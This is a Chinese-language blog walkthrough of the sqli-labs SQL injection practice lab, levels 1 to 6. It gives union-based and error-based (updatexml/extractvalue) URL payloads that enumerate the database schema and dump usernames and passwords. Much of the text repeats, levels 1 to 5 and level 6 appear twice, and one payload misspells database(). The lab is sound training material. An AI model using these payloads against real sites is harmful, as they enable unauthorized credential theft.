SQL注入

第1关(联合查询)

我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:

然后点击Less-1来到第一关

打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入

判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+

?id=1' order by 4--+

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

从上面两中方式都可以判断出数据库是有3列的

然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列

?id=-1' union select 1,2,3 --+

从显示结果可以看到,这里的name是第2列,password是第3列。

那么现在就可以从第2列或者第3列查询出数据库名称:

?id=-1' union select 1,database(),3 --

现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~

第2关(数字型)

这一关与第一关是大致相同的这里就直接直接提供payload:

尝试闭合查看是否存在SQL注入:

?id=-1'

查看数据库的列数:

?id=1 order by 3--+ 正常

?id=1 order by 4--+ 报错

查看那些地方可以回显:

?id=-1 union select 1,2,3--+

查看数据库名称:

?id=-1 union select 1,databse(),3 --+

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看数据库中所有的表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--

查看数据:

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

第3关('闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:

第4关(")闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:

第5关(报错注入)

本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示

对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数

报错注入:

  1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

  1. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

  1. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

报错注入:

既然存在注入,那么我们可以来尝试查询一下数据库的列数

?id=1' order by 3 --+

?id=1' order by 4 --+

可以看到列数是3列

知道了列数,那么我们就试试看哪里可以回显:

可以看到这里我们无论怎么进行查询,结果都会显示You are in .........

但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示

注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,

解决方案:

这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:

payload:

第1关(联合查询)

我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:

然后点击Less-1来到第一关

打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入

判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+

?id=1' order by 4--+

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

从上面两中方式都可以判断出数据库是有3列的

然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列

?id=-1' union select 1,2,3 --+

从显示结果可以看到,这里的name是第2列,password是第3列。

那么现在就可以从第2列或者第3列查询出数据库名称:

?id=-1' union select 1,database(),3 --

现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~

第2关(数字型)

这一关与第一关是大致相同的这里就直接直接提供payload:

尝试闭合查看是否存在SQL注入:

?id=-1'

查看数据库的列数:

?id=1 order by 3--+ 正常

?id=1 order by 4--+ 报错

查看那些地方可以回显:

?id=-1 union select 1,2,3--+

查看数据库名称:

?id=-1 union select 1,databse(),3 --+

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看数据库中所有的表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--

查看数据:

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

第3关('闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:

第4关(")闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:

第5关(报错注入)

本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示

对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数

报错注入:

  1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

  1. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

  1. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

报错注入:

既然存在注入,那么我们可以来尝试查询一下数据库的列数

?id=1' order by 3 --+

?id=1' order by 4 --+

可以看到列数是3列

知道了列数,那么我们就试试看哪里可以回显:

可以看到这里我们无论怎么进行查询,结果都会显示You are in .........

但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示

注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,

解决方案:

这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:

payload:

and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

第6关("闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:

and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

第6关("闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:

相关推荐
xd1855785553 小时前
SQL语句生成-基于鸿蒙的AI SQL语句生成应用开发实践
人工智能·sql·华为·harmonyos·鸿蒙
G.O.G.O.G15 小时前
LeetCode SQL 从入门到精通(MySQL)06(上)
数据库·sql·mysql·leetcode
G.O.G.O.G20 小时前
《LeetCode SQL 从入门到进阶(MySQL)》06(下)
数据库·sql·oracle
heimeiyingwang20 小时前
【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复
前端·sql·架构
ClouGence1 天前
跨云、跨地域数据同步,这样更省心
数据库·sql·saas
Csvn1 天前
📊 SQL 入门 Day 4:聚合函数 — COUNT / SUM / AVG / MIN / MAX
后端·sql
哈__1 天前
MCP 协议落地实践:国产化数据库 AI 一站式 SQL 诊断调优方案
数据库·人工智能·sql
这个DBA有点耶2 天前
SQL调优进阶:从“优化一条SQL”到“优化一个系统”的思维升级
java·大数据·数据库·sql·程序人生·dba·改行学it
IvorySQL2 天前
PG 日报|SQL/PGQ 图查询基于联接重写机制实现
数据库·人工智能·sql·postgresql·区块链·ivorysql
你有我备注吗2 天前
SQL学习之查询
java·sql·学习